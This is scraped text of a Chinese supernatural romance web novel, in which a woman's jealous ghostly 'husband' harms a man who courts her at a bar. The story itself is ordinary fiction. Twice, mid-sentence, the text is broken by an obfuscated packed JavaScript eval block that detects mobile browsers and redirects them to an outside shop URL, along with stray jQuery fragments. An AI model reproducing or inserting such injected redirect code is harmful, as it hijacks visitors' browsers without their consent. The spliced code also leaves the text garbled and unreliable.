再者,寻常男人在事业这方面有他一半成功,恨不得贴在脑门上广而告之,相亲的时候更是眼睛长在头顶上,话里话外都透着过剩的傲气,这么一对比,他的坦诚和谦逊真的很难得。 他的态度,让我感觉这不是一场由他人撮合的、利益互换的相亲,我们之间是平等的,谁也不比谁高贵。总之,我对他印象不错。” “但是。” 说着说着,车子险些开过头,叶婉筱把住方向盘,于前方路口急转弯。 突如其来的惯性导致许菱烟的身体往一旁倾斜,肩头抵着玻璃窗,伸长胳膊拉住上方的扶手。 待车驶入正轨,许菱烟坐正,把导航的声音开大一些。 叶婉筱接着刚才的话头说:“但是,偏偏我们谈的是复杂又抽象的情感话题。 他不想要形式主义的婚姻,提议和我先交往试试,有了感情基础再聊下一步。正巧,我也不想为了搪塞家人的催促,草草和一个男人进入亲密关系。 在这种情况下,外部条件就变得不重要了,重要的是,我的身体、我的心,通通在排斥他。这是一种生理性讨厌,别人说一万道一千也没用,毕竟以后不是他们和这人做亲密的事儿。 所以,我当场拒绝了他。事后被我妈知道,又是没完没了的念叨,嫌弃我眼光太高、太苛刻,才会谁都看不惯。诶,天地良心,我真没挑拣人家,这是身体的本能反应,让我怎么控制?” “……” 生理性讨厌这个词不经意地勾起许菱烟对昨晚那场梦的回忆,虽然想不起具体内容,可挥之不去的湿冷稠浓,以及形容不上来的腐臭味儿仿佛还黏着在她的后背上,如同附骨之疽般,让她嫌恶。 许菱烟拧起眉,抿紧唇,掌心轻轻摁了摁突然开始抽搐的胃部,嗓子眼里涌起呕吐的冲动。 她单纯以为这是晕车的症状,趁着等红灯的功夫,拧开矿泉水猛灌几口,勉强压住身体的不适。再开口,颇有些感同身受的滋味:“终究有关你的后半生,没感觉就不谈,别委屈自己。” “是啊。婚姻,说起来轻飘飘的两个字...” 叶婉筱惆怅地叹了一句,指头在方向盘上轻敲,内心盘算着事儿,通过后视镜望向许菱烟,突地笑道:“不如,我给我妈报个广场舞培训班,她一忙,应该就没心思找我茬了……婶儿是不是也在跳?” “嗯。” “太好了。到时候我给老师偷偷塞个红包,把我妈调去婶儿在的班级。” “为什么?”许菱烟没懂。 “让婶儿和我妈多聊一聊,灌输一些与时俱进的婚恋观念,指不定能大大降低她催婚的频率。” 许菱烟恍然扬眉,不过打心底认为一个人根深蒂固的思想没那么容易被改变,犹豫了下,还是没说出口触她的霉头。 叶婉筱自个儿琢磨这方法或许可行,从许菱烟那儿要到培训班的联系方式,加上招生老师的微信,约定面谈时间。 心头大事一了,她拔下车钥匙,在指尖潇洒转了圈,笑容张扬:“下车,见老朋友去。” - 聚会地点从清吧改成西餐厅,富有情调的装潢与气氛弄得场面格外正经,不像老友见面,更像谈合作。 许菱烟轻笑了声,推门而入。 立即有人觉察到动静起身迎接:“来了。” “路上堵车,晚到了几分钟。” “那不得罚一杯。” “开了车,喝不了。” 许菱烟脱掉外衣,自然而然地坐去叶婉筱旁边,用热水烫了一遍杯子,开了一瓶啤酒,往杯子里倒满,没什么波澜地说:“老规矩,我替她。” 工作特质使然,许菱烟用不着在酒桌上一杯又一杯没节制的下肚谈生意,而且这玩意儿喝起来稀奇古怪的,不合她口味,私下压根不碰。 但这不代表她酒量不好。 在场认识她有些年头的人都知道,许菱烟外表柔弱不能自理,以为是个一杯倒的小卡拉米,实则海量。 大学毕业晚会上,一群大老爷们醉得东倒西歪,只有她杯子里的酒没断过,喝水一样淡然,却始终目光清亮,理智在线,脸都不带红一下。最后还负责找代驾把他们挨个送回家。 且她酒品极好,真喝多了,无非是跑卫生间勤一些,再没别的了。 许菱烟慢条斯理地饮了两杯,便把杯子放去一旁,换了个干净的倒上果汁。 见状,众人默契的领会,没再死乞白赖地劝。 人还是那一帮人,岁月没在这群意气风发的青年身上留下痕迹,也得益于隔三差五的会合,大家情分一直没淡。虽然多了几张生面孔,但很快融入进来,聊得热火朝天。 吃完饭时间尚早,有家庭的人表示必须得走了,其余几个没有束缚的‘自由人’则结伴去之前定下的清吧继续潇洒。 作为全场唯一没饮酒的人,叶婉筱负责开车,不过车上空间有限,大家只能兵分两路,迟来的人自然失去选择权,由许菱烟带着去坐网约车。 男的挤在后座, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094227|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许菱烟坐在副驾驶,报给司机师傅地址。 车子刚发动,后方有人轻轻碰了一下她的肩膀。 许菱烟回头,先看见摊开的掌心里放着一板药,再往上,是一双含着羞怯又目的性明确的眼,直勾勾地盯着她不放,“解酒药,吃一颗吧。” 两人第一次见,许菱烟记得他自我介绍时说是某位老友的同事,两人关系处的不错,今天正巧有空,就跟着一起来玩了。名字叫祁全,谐音齐全,简单易记。 许菱烟礼貌地笑笑:“不了,我不难受。” 祁全对许菱烟的酒量一无所知,眼下,面对心仪对象,难免男性荷尔蒙大爆发,一门心思只想表现自己的魅力,而类似‘体贴’的言语和行为,是男人认为对付女人最行之有效的办法。 他报以微笑,温柔道:“现在酒劲还没上来,当然感受不到喽。你先收着,以备不时之需。” 许菱烟敏锐地捕捉到来自异性难以甩掉且不清白的试探,她反感地抿了抿唇,念着老友的份上没戳穿对方,强忍下心头的不适,接过那板药片,“谢谢。” 祁全笑容愈发灿烂,像接收到什么了不得的信号,掺杂着贪嗜的目光不加遮掩地落在她脸上,态度也更殷勤,“没事,刚才瞧你喝了不少,我担心你身体扛不住...现在看来,随身携带解酒药还是很有必要的。” 许菱烟无所适从地移开眼,重新坐正,拨了拨散开的头发,遮住侧脸。 不出所料,下车后,祁全非常自来熟地走到许菱烟身旁搭讪,聊得都是一些毫无营养价值的话题。今天场合特殊,大家的气氛又那么融洽,她没法直接驳他,有一茬没一茬地嗯嗯作答,敷衍的很明显。 祁全却视而不见,一个劲围着她打转儿,丝毫不掩饰内心的热切,求偶的尾巴快翘到天上去。 周遭有人眼尖地瞧出端倪,知道许菱烟是单身,受工作影响不会和异性有往来,心里多半没人,又看这哥们外表和工作都不错,交流下来性格也还可以,便想帮一把。 调整位置的时候,主动给祁全让出一条路。 祁全报以感谢的笑容,正要往许菱烟那儿走,没想到许菱烟一个闪身,快速消失在他视线里,再抬眼去寻,发现她已经溜到叶婉筱身边落座,两旁都是女人,没有一点儿空隙容他挤进去。 没多久,叶婉筱出门接工作电话,一时半会儿不见回来。 祁全按耐不住,借着拿东西的机会换座位去许菱烟附近,犹豫着该怎么再靠近一些。 许菱烟有所察觉,睫毛抖了抖,装作不经意地转过脸,避免和祁全有任何眼神交流。 清吧内响着宛转悠扬的情歌,歌词里写“有美一人,清扬婉兮1”,给祁全听得心神荡漾,暗戳戳用余光瞥许菱烟。 暗昧迷蒙的彩色灯光不停流转,投落在她身上,成为美轮美奂的滤镜,衬得她脸庞无比柔润,再配上一双水脉脉的眼睛,变成无法抵挡的绕指柔。 祁全的本意只是跟着同事过来打发空闲时间,没想到竟会对一个女人一见倾心。 他想,这大概是天降缘分,无从抵赖。 等旁边的人去卫生间的功夫,祁全鼓足勇气,主动挨近许菱烟,不尴不尬地打个招呼:“刚才那司机师傅车技不行,开得很不稳当,你...难受吗?” “没事。” 许菱烟随口一答,扭头看向大门,内心祈祷叶婉筱快回来拯救自己。 祁全没注意她的不自在,随便开了一瓶碳酸饮料,用动作掩饰内心的紧张,自顾自将话题延续下去,“听说你们是同所大学不同专业的朋友,怎么认识的?关系竟然能维持的这么好?” “当初大家都在同一个社团,后来又被分在一个小组,经常约着外出拍摄,久而久之就熟悉起来了...”许菱烟及时抬起手臂,挡住祁全递来的饮料罐,礼貌中透着显而易见的疏远,“我不渴,谢谢。” “...哦,好。” 祁全便收回易拉罐,局促地整理了一下衣摆,“那还真挺有缘,一个社团这么多人,偏偏你们几个遇见了,成了朋友,一晃这么多年过去,各有各的事业和家庭,彼此之间的关系仍然没变,看来你也是个挺重感情的人...诶,不知道方不方便问,你有男朋友吗?” “……”啧。 躲得过初一躲不过十五。 该来的还是来了。 许菱烟面上飞速闪过一抹讥诮。 她的耐性告罄,正准备干脆的回绝,顺便告诉他自己已有喜欢的人,以绝后患。 耳畔霍然炸开连绵不绝的巨响,哀嚎声伴随着浓重的血腥味一齐袭来,甚至有些温热的液体溅到了她的衣服、手背上,视野顿时陷入无边无际的黑暗—— 卡座周边的灯全爆了。 10. 嫉妒心 一切发生在瞬息之间,令所有人始料不及。 没有人动。 没有人讲话。 连不远处台子上的驻唱歌手也僵直在升降椅上,吉他背带从肩头缓慢滑落至臂弯,像被按下暂停键,表情与呼吸一同凝滞。 整片区域陷入一种诡异的、绝对的静止。 桌面上摆着乱七八糟的酒瓶、易拉罐和零食袋,不知道是谁的手机屏幕还亮着,循环播放搞笑综艺的切片,音儿却被一道隐形的力量抹去了,画面滋滋啦啦地频闪几次后恢复正常。 微弱光线辐射四周,最先做出反应的男人女人相继起身,保持着手臂向前,一副想要搭救谁的急迫姿势。或身体微弯,还没彻底站起来,双眼瞪得极大,好像看见了惊悚至极的画面,紧紧盯住本该有什么、此刻却死寂黢黑的方向。 许菱烟便坐在他们旁边,双手交叠搭在膝头,嘴巴微微张开,表情中还带着被异性贸然搭讪的不耐、戒备与场面性礼貌。而她的胸腔不再起伏,仿佛长久被定格在这一秒,古怪到不似冲击太大产生的木楞反应。 沙发背面的暗角里,分辨不清是何人...或许,那根本不是人的影子,正疯狂扭动身躯将自己从地面撕下来,以肉眼无法觉察的速度开始膨胀,摇身一变与成年男子等高,悄无声息地攀上许菱烟肩头,接着,从后方彻底环绕住她,呈现出一个占有与保护并存的架势。 呼吸声统统消失了。 只有许菱烟耳侧响起某种细微的、令人牙床发麻的咯吱声。 随着时间流逝,这动静越来越大,无所谓会不会被谁发现,仿佛有了实体一样,从许菱烟的四面八方裹挟而来,导致她的思绪、呼吸一并被抽干,宛如一只傀儡娃娃,只能顺从地栖息在它怀里。 室内的温度也开始降低。 天花板上泛起一层潮湿水汽,细看,却又不像水汽。 浑浊的、带着浓重糜烂臭味和浓黏粗糙的液体,顺着板砖缝隙往同一个方向聚集,延伸,拉长,最终承受不住自身的重量,啪嗒一声,正巧落在那个将要不要起身的女人额头上。 冰冷,粘稠,极具不详气息。 突如其来的一滴触感,却成功阻止了摁下暂停键的那道力量。 女人得以从停滞不前的空气中抽身,同一时刻,蒙住视线的黑暗迅速散开,让她切切实实看清了不远处的惨状,堵塞喉咙的浊气立即冲破双唇。 “啊——!!” 凄厉的变调尖叫声猛地炸开,化成无形的大掌紧握住在场每个人的心脏,接着用劲一攥,血液顺着指缝滋出来。 附近的人后知后觉摸向自己潮湿温热的脸颊,待看清指腹上那抹暗红血色,僵死的眼神倏然剧烈颤抖起来,“快叫救护车!有人受伤了!” “血!好多血!灯泡的玻璃渣全扎他胳膊里了!!” 女人随手擦掉额头上不知道从哪儿沾的液体,冲向一边拽起个男人,慌慌张张地催:“你不是医生吗?!别愣着了,赶快帮忙啊!” 嘶吼、尖叫、痛吟…… 一时之间,清吧一楼充斥着各种各样嘈杂的声音,所有人乱成一锅粥,纷纷往同一个方向涌去。 从人堆里飘出来的血腥味儿异常刺鼻,大家都被眼前的变故吓到无暇顾及其它,因此,没人发现这股气味不太寻常。 许菱烟也回过神,反应极快地抄起手机拨打120,有条不紊的向医护人员报上清吧地址以及伤员情况,一边忙着寻找叶婉筱的踪迹,确认她刚返回,没有被这场意外波及,她悬着的心放回肚子里,稍微缓和一口气,继续说:“...现场有医生,嗯,正在做急救措施...” 挂断电话,许菱烟一把抓住叶婉筱,拜托她开车送受轻伤的人先去医院包扎。 “你呢?” “去向清吧的负责人索赔。” 许菱烟脸色发白,显然没从惊吓状态中彻底缓过来,双唇微张,略急促地小口呼吸,颊边的碎发打着卷儿,泛着晶亮水光。 莫名其妙的,叶婉筱灵魂像在刹那间出窍般,眼前闪现过来自久远以前的画面。 古朴的宅子,流水潺潺,鸟语花香。 趁日头高照时,年轻的夫妻一起到院子里洗头发。 女人穿着分不清哪个朝代的衣裳,藕粉配柳绿,身姿窈窕纤细,活像于水中摇曳且娇嫩的莲花。长相瞧不真切,却看得见绯红饱满的唇瓣一张一合,应该是在唱一首民间歌谣,一对赤足跟着节奏在裙摆下打着晃儿,忽隐忽现的白。 整个人怡然自得。 等水烧开,男人用手背轻轻贴了一下她的面颊,动作中的柔情和珍惜满到溢出。女人便也亲昵地回蹭了他一下,仰面躺去他的腿上,黑如墨般的长发顺势蜿蜒垂落,男人一手托着她后脑勺,另只手在发丝之间穿梭,轻柔抚摸。 只是这场景稍纵即逝,叶婉筱眨了眨眼就忘干净了。 唯有涌上心头的悲切经久不散。 她摸了摸她冰凉的脸颊,叮嘱:“你一个人,注意安全。” 许菱烟勉强挤出一抹笑:“好。” 叶婉筱转而去找受轻伤的同伴。 满地的玻璃碎渣,踩上去便发出类似衣摆摩擦的细小动静。 被爆-炸波及最严重的人还躺在地上痛苦呻-吟,以防万一,大家没敢轻易挪动他,小心翼翼清除他身边的玻璃碎片,以免造成二次伤害。 许菱烟没敢硬挤进人群,独自站在不远处,踮起脚张望,表情焦急。 店内的应急光源也出了故障,急救时需要照明,大家纷纷打开手机电筒,光线聚焦在里头,给施救的男人提供便利。见状,许菱烟赶紧把自己的手机递给朋友,默默退回原地。 隔着一段距离,余光落不到她身上。 乍一看,许菱烟周围暗的玄虚,仿佛有什么不对劲的东西正悄然滋生膨胀,试图在不引起他人关注的情况下把她拖走,永生永世的圈占起来。 叶婉筱本想走之前跟许菱烟打声招呼,刚往她那儿一瞥,心脏便无端端吓得停了一拍,身体先大脑一步作出反应,使得她急切地走近。 古怪感越发强烈,叶婉筱眼皮跳得极快,近乎痉挛的程度,扬声喊道:“菱烟!” 许菱烟循声扭头,神情茫然,明显处于状况之外。 因为环境太暗,叶婉筱没发觉许菱烟肩上趴伏着黑影,被她出声一吓,嗖得缩成一团,化为一缕乌烟,飘飘然匿入沙发背面的阴暗角落中。 她只分辨出她衣料上阴暗不一的区域,应该是沾了什么。 “你衣服怎么回事,是弄湿了,还是溅得血?” 说着,叶婉筱上手摸了一把,水淋淋的,凑近一嗅,溃烂腐臭的味道扑面而来,与新鲜的血腥气不一样,刺得她鼻子疼,胃里跟着一阵剧烈翻腾,差点没忍住呕出来。 “这什么味儿?” 叶婉筱皱起眉,捂住鼻子,连连后退。 许菱烟被问得一愣,抬起胳膊,小动物似地耸动鼻尖仔细闻袖子,除了洗衣凝珠残留的花香再没别的了。她理所当然以为她的嗅觉被血腥味影响了,催她赶紧送伤员去医院,聊闲天等事故处理完以后。 叶婉筱无奈,没再执着这股古怪的气味,反复确认许菱烟没有受伤才放心离开。 - 追责的事没有想象中容易。 负责人一口咬死炸掉的全部是最新购入的灯泡,且店内每周末都进行一次详细的电路检查,各种手续齐全,不可能出现差错。要说今天这场意外,清吧也是受害方,最应该找的就是灯泡供应商,指不定对方在安全检测报告上动了什么手脚,坑了一大帮人。 秉持着公平公正的原则,警方把相关人员全找来了,乌泱泱一群人挤在调解室里,粗狂嗓门震耳欲聋,场面堪比清晨的菜市场。 总之,公说公有理婆说婆有理,吵得不可开交。 得亏地方特殊又有警官在旁监督,双方才不至于动手。 作为真正受害一方的许菱烟坐在椅子上,冷脸看着他们狗咬狗,最后实在忍不下去,干脆打电话叫熟识的律师来了一趟,主张直接走司法程序起诉他们,届时谁也跑不了。 一见她动真格,主要话事的两个大老爷们儿气焰霎时被扑灭,以最快速度协商出一个勉强能令人接受的结果,在调解书上签字盖手印,开车去医院探望伤号并赔款。 跟许菱烟同行的是个女人,绰号叫小柠。 今天的变故也把她吓得够呛,鲜血淋漓的场景一直在眼前反复播放,她硬生生把作呕的冲动咽下去,面色煞白。 待医院里受伤的朋友们来信儿报平安,小柠硬撑着的那口气一下子消散殆尽,双腿控制不住的发软,半步都走不了了,瘫在大厅的长椅上缓和呼吸。 见状,值班女警贴心地递来热水和毛毯。 许菱烟见小柠没力气,便代替接过东西,道谢。 没多久,小柠理智逐渐回笼,身体也有了劲儿,给自家老公打个电话,让他开车来警局接自己,眼见天色已晚,主动提议送许菱烟回家。 许菱烟婉拒,指了指一直在不远处候着的律师朋友。 小柠了然,“回家路上注意安全。” “嗯。” 许菱烟送夫妻俩离开,站在路边眺望车水马龙,有一搭没一搭的同朋友话家常。 为表感谢,她邀请他有空一定约顿饭吃。 朋友倒也领她的情,嘻嘻哈哈地说要带上家属狠宰她一顿,旋即问:“工作室什么时候恢复接单?” “怎么?” “结婚纪念日快到了,打算给我老婆定制一套饰品...送礼要投其所好嘛,她喜欢有历史厚度的东西,所以问问你还接不,没空我就找别人去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094228|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“别啊,送上门的生意哪有不干的道理。” 许菱烟暧昧地笑了笑:“给你们这对恩爱夫妻报个真情折扣价。” 男人眼一亮:“多少?” “九九折。” “……” 赶巧,他老婆打来电话,温温柔柔的女声通过听筒传入许菱烟耳朵里,问男人忙完工作没有,预计几点到家,孩子吵着见爸爸,否则就不睡。 男人抬起手臂一抻袖子,瞥了一眼腕表,承诺:“最迟二十分钟。” 趁这会儿,许菱烟慢慢后退着挥了挥手,无声的同他说再见,去附近一家全天营业的便利店蹭暖气,刚把定位发给叶婉筱,卢桃的消息和监控视频下载完成的通知相继弹出来。 许菱烟先点开微信。 小桃子:师姐,还在外面耍咩? 配图是她躺在沙发上翘着二郎腿啃苹果的自拍。 卢桃和朋友们很久没聚了,爬完山又去吃了一顿火锅,玩嗨了才想起天黑之前回家的承诺,本以为会被师姐逮住一通教育,结果到家一瞧,诶嘿,空荡荡的,师姐竟然比她更晚回。 卢桃一下子轻松了,洗完澡,悠闲自得地吃着水果,上微信骚-扰她师姐。 -有帅哥没? -教授先生在不在? -我今晚还给你留门不? ...教授先生。 这是什么稀奇古怪的称呼。 许菱烟无奈地扯起嘴角,悬了大半天的心,因为卢桃几句俏皮的调侃得以落回实处。 她告诉她玩够了就赶快睡觉,不要熬夜伤身体,没再多说别的就退出微信,顺势点入监控视频—— 兵荒马乱的一天过完,许菱烟原本已经忘了这茬,可叶婉筱一时半会儿赶不过来,不如找点事打发一下时间,顺便看一看,这阵子自己焚香、冥想、瑜伽、运动...凡医生建议的除吃药之外的招数都使上了,究竟有没有起作用。 说来奇怪,明明是新换的监控,画质却不知道为什么受损严重,哪怕下载时选了高清也很模糊,开头花屏抽帧,还伴有呲呲杂音。 听久了,许菱烟太阳穴又涨又疼,一阵头晕目眩。 她降低音量,拖动进度条直至凌晨时分,开启三倍速观看。 许菱烟头一回发现低价网购的遮光窗帘效果竟然如此牛掰,拉紧之后,外面一丝亮光也透不进来,卧房内伸手不见五指,连家具摆放的位置都很难辨别,浓雾一样黢黑寂静。 致使她不得不贴近屏幕。 可不管怎么努力瞪眼或找角度,视线好像始终被无形的雾气蒙着,看不穿黑暗之下发生了什么。 许菱烟内心萌生出一股倔犟,脑袋向前伸,额头紧紧抵住画面,发现这样也看不清,干脆往下落了落手机,忽闪的睫毛有一下没一下地剐蹭着屏幕,因为压得太贴合,鼻尖肉被挤偏,有些疼。 可她已经顾不上这点微妙的感受。 冥冥之中,许菱烟总觉得有什么了不得的东西藏在那儿,突然膨胀的好奇心占据惊惧,眼神因为专注而发直,倒映着视频画面的瞳仁不知不觉间变成完全纯粹的黑,渐渐蔓延向周边,悄无声息地侵占巩膜。 一双眼睁大到可怖又诡异的程度,仿佛下一秒,眼珠子就会从眼眶里滚落。 自她唇齿间合呵出的暖流扑在屏幕上,瞬间化为湿漉的雾,随后被后方的黑影吸收干净。 它砸吧砸吧那张并不存在的嘴,发出无声的餍足的喟叹,又因为接收到她的视线,受到莫大的鼓舞一般疯狂涌动,蛊惑她近一些,再近一些…… 许菱烟真就控制不住的继续向前,直至绯红唇瓣在屏幕上彻底压实,贝齿微露,热浪绵长。 黑影着急地拖动身躯凑近,隔着冰冷的电子屏幕与她狂热拥吻,像极了沙漠中饥渴的旅人,绝不肯放过好不容易得来的甘霖。 耳畔,被调低的呲呲杂音骤然升高,仔细听才发现压根不是视频资源受损产生的电流声,而是当人恨极了的时候,捏紧拳头,咬死牙关,浑身骨骼都跟着颤抖,咯吱作响。 连模糊不清的字句也开始变得具体,偏执的重复呐喊:嫉妒。嫉妒。嫉妒。 好嫉妒。 嫉妒死了。 妻子永远只能是它的妻子。 不许她见其他男人。 不许她跟除自己之外的任何人有说有笑。 不许她和他们同坐一辆车。 更不许她接受陌生男性送的东西。 不许。 不许! 不许——!!! 她是它的,只能接受来自它的讨好。 它的爱。 它的吻。 它的触碰,甚至幻想。 不管经历多少次轮回,他们的人生轨迹中注定只有彼此。 妄图破坏者。 ——死。 11. 气味 “菱烟?”有只手搭上她肩膀,轻轻推搡,“发什么愣呢,叫你这么多遍也不应声。” 身体被外力一晃,鬼迷心窍的执拗如退潮般迅速消失。 许菱烟睫毛错频扑闪,视线循着肩上那只手一顿一顿地转过去,撞见叶婉筱疑惑的眼神。 她略显茫然地啊了一声,缓了几秒,终于想起自己刚才在干什么。 再一低头,看见通知栏上的时间,竟然已经过去一个半小时这么久了。 视频早就播放至结尾,许菱烟摁下重播,却弹出来一行乱码,刷新也是徒劳无功。 叶婉筱拉开一旁的椅子坐落,扫码点了两杯热可可,关切地问:“又梦游了?” “...没。” “那你看监控干什么?” “闲得无聊。” 许菱烟本能的排斥聊起昨晚那场梦,转移话题,问起医院里朋友们的情况。 “医生仔细检查过了,都是轻伤,只要按时换药,该忌口就忌口,很快就能痊愈,连疤痕都不会留。不过——”叶婉筱眼睫下垂,遮住担忧,“祁全的情况不太乐观。” 听见这个名字,许菱烟心跳蓦地停了一拍,肉眼可见的紧张起来,“怎么?” “应该说,靠近爆-炸源头的那几个人伤得都不轻,只有祁全格外严重。” 叶婉筱秀气的细眉紧蹙,言语中透着不安和困惑。 彼时检查完祁全的伤况,医生表情很为难,委婉的告诉他们,对从事这一职业的人而言,双手和胳膊相当重要,一旦受了不可逆的伤害,对职业生涯将是毁灭性的打击。 闻讯赶来的家属当场不干了,找到律师,一定要起诉清吧和灯泡厂的负责人。 警察紧跟着赶往现场调查事故原因,怪就怪在结果,简直令人费解。 相邻卡座才是最靠近事故点的一拨人,他们的状况肉眼乍看十分严重,鲜血把衣服染红了,哀嚎声不绝于耳。 但医生真正上手处理才发现,碎渣或多或少溅到发缝里,将将好没有给他们的身体造成伤害,少数的伤口也很浅,只需要涂药水简单处理一下即可,连破伤风都用不着打。 反观祁全,就没那么幸运了。 但凡裸-露在外的肌肤全都猩红一片,因为失血过多,送往医院时人已经意识迷离。 他仰躺在担架床上,眼睛没彻底合死,从微露的缝隙得以窥见向上翻起的黑眼仁,模样像条脱水枯死的鱼,两条手臂无力地垂落,粘稠温热,泛着腥气的液体覆盖了原本肤色以及伤口边缘,却不难辨别出被碎渣割成很小很密很深的一道又一道鱼嘴般翕张的口子。 被送往急救室的途中,鲜血淅淅沥沥落了一路。 走廊的灯光一照,嵌在伤口中的细碎玻璃渣反射出晶亮的光泽。 再回忆起那场面,叶婉筱还是感觉瘆得慌,双颊止不住的发麻。 她揉了揉脸,鼻腔隐微刺痛,好像又闻到那股稀奇古怪的味道,胃里顿时翻江倒海。 “你先坐着,我过去催一下热可可。” 刚一起身,叶婉筱突然想起什么,又后怕又感慨地叹道:“听小柠说,事故发生的时候你正跟祁全待在一起,周围人或轻或重都受伤了,只有你免遭一劫,真是不幸中的万幸……至于祁全,你也别太担心。走之前,我特地问过医生,他的伤还有的治,治好了照样不耽误正常生活。” 说着,她拍了一下她的肩膀,本想安抚,却意外地摸到一手潮湿黏腻。 叶婉筱诧异:“你的衣服怎么还没干?” 话音未落,广播里响起取餐提醒。 叶婉筱立马将这点不值一提的古怪抛去脑后,拿着号码条,匆匆走向窗口。 徒留许菱烟一人脸色煞白地坐在原处,大脑像经受不住太大的冲击而宕机。 说来也怪,分明才和祁全见过面,两人还有过交流,可她现下却怎么也想不起他的长相、声音,脑中只留下一个模糊不清的轮廓。 有关他们之间的所有事情,似乎被谁悄无声息地抹掉了。 ……还有气味。 许菱烟很爱干净,每次洗完衣服,她都不怕麻烦的挨件熏香,连内搭也不放过。时间久了,身体自然而然地染了清淡花香。 可今天不止叶婉筱一个人说她有味儿。 在警局时小柠也提了一嘴,怀疑她不留神从某处沾了什么不干净的东西,还小心地询问她要不要先回家换一件衣服。 偏偏许菱烟本人闻不到。 不仅如此,她连哪儿湿了也瞧不出,上手去摸,触感干燥且毛绒。 许菱烟着急地站起身,借用窗户的反光观察。 一抬眼,先注意到嘴巴的不对劲。 她没有干燥时舔嘴的习惯,更不会随身携带润唇膏,事故发生之后,她着急忙慌地奔波这么久,还没来得及喝上一口水。 那么,此时此刻,微肿双唇上泛着的晶亮光泽又是怎么回事? 一种难以名状的冷从尾椎骨窜起,刹那间蔓延至四肢百骸,许菱烟猛地把脸贴近玻璃,眼睛瞪得滚圆,看着投影里熟悉中透着几分陌生的面庞,比起恐惧,内心无端涌起更为强烈的烦躁。 她使劲用手背擦拭嘴巴,唇色被搓得发白,周边皮肤涨红并隐隐作痛,但那抹水色仿佛和她的血肉融为一体,无论如何也擦不掉分毫。 许菱烟不信邪,从挎包里翻出湿巾,继续用力摩擦。 完全没意识到,窗户里的倒影正在悄然改变。 她的身形像抽条的柳枝,眨眼间变成窈窕纤细的一人,瘦弱到随随便便一小阵风便能将她卷跑。 而肩膀、腰间、小腹这几个重要的部位洇开的暗色痕迹,渐渐向一个方向聚拢,最终具象化成一道与成年男子等高的浓雾,自后方严丝合缝地环抱住她,模样看不清,脑袋正亲昵地磨蹭她的鬓角。 镜中的许菱烟表情呆板凝滞,像个被抽空灵魂的木偶人,乖乖依附着对方,眼睁睁看着晕开的潮痕显现出血一样红的颜色,浸湿整套衣服紧裹在她身上,随后幻化成一件诡异的喜服,原本披散在背后的乌黑长发也被理齐整,盘成旧式发髻。 不知不觉间,现实中的许菱烟动作也停了。 她好似发现了什么,眉心轻蹙,眼神困惑,小动物一样扇动鼻翼,趴在玻璃上嗅来嗅去,终于闻到一股似有若无的陈旧气味,像线香、泥土,以及...虚无缥缈的腐败气。 不同于叶婉筱的嫌弃,许菱烟反而感觉这股味道很熟悉。 被扑朔迷离的情绪牵引着,她不自主地靠近,直至整张脸以极限的姿势在窗户上压实,仍然不肯停下。 她咬紧牙关,捏着拳头,一下接着一下地捶打玻璃,恨不得立即打破这层限制,迫不及待地投入另一个世界。 那缕浓雾也疯狂摇曳着身体,蛊惑她快些沉沦。 砰得一声轻响。 叶婉筱放下杯子,纳闷:“你跟窗户较什么劲?” 猝不及防的、来自现实的声音,打破诡谲气氛。 弹指一挥间,天旋地转,万事万物重置,一切看似回归平和。 一秒的晃神之后,许菱烟身体轻微地晃了晃,脑袋胀痛的快要炸开,别说正常思考,连勉强睁开眼也做不到。 她痛苦地呻-吟一声,同时,清楚闻到自己身上散发出的异味。 这次不再混有线香、尘土,而是完完全全腐朽的臭味。 刺激性气体沿着鼻腔涌入喉管,不由分说的侵-占身体内的每一处。 许菱烟应激性的反呕了一口。 她赶紧用手捂住嘴巴,柔软的掌心肉意外擦掉一部分黏腻潮湿的液体,也散发着一模一样的味道。 她压根想不起自己究竟是从哪儿蹭上的恶心液体,胃里一阵翻腾,呕吐的冲动到达顶峰,立即夺门而出。 这条街道入夜之后静得可怕,昏黄的路灯照着门外一棵苍老大树,黑夜在光圈之外的地方蠢蠢欲动。 许菱烟踉踉跄跄地奔到树旁,扶着树干,深深地弯下腰,哇得一声吐出来。 她今天喝了很多酒水,撑到吃不下别的东西,这会儿空空如也的胃失控痉挛,挤压着所有酸涩的、腐蚀性的液体向上翻涌,灼烧喉管,然后猛地冲破双唇。 痛苦的呕吐声不停撞击周围的建筑,回音经久不散。 这一幕发生的太突然,叶婉筱毫无准备,怔了一两秒后,赶紧追出去。 街灯昏黄的光拢着许菱烟单薄瘦弱的身躯,不知道什么时候已经干透的毛衣却仍像湿着一样,化作如有实质的千斤重,紧实压迫着她的脊梁。 因剧烈痛苦不得不弯曲的腰背上,清晰可见一颗颗突起的骨头。 脖颈后方,分泌的汗水像晶莹剔透的珠子,沿着肌肤纹理下滑,没入衣领。 风一吹,许菱烟汗毛倒竖,牙齿轻微打颤。 叶婉筱脱下外衣给她披上,接过好心店员送来的温水,让许菱烟漱漱口。 她冰凉的指尖刚要触及她,忆起掌心蹭得粘稠液体,表情突然一变,又一次弓腰作呕。 叶婉筱束手无措地站在一旁,只能眼睁睁看着许菱烟吐得昏天黑地,到最后胃里的酒水都干净了,只剩下青绿色胆汁。 一张漂亮精致的小脸,底色是白的,双颊却蒙了一层汗湿的潮红,还黏着几缕凌乱卷翘的碎发,乍看起来像个被弄坏的人偶娃娃。 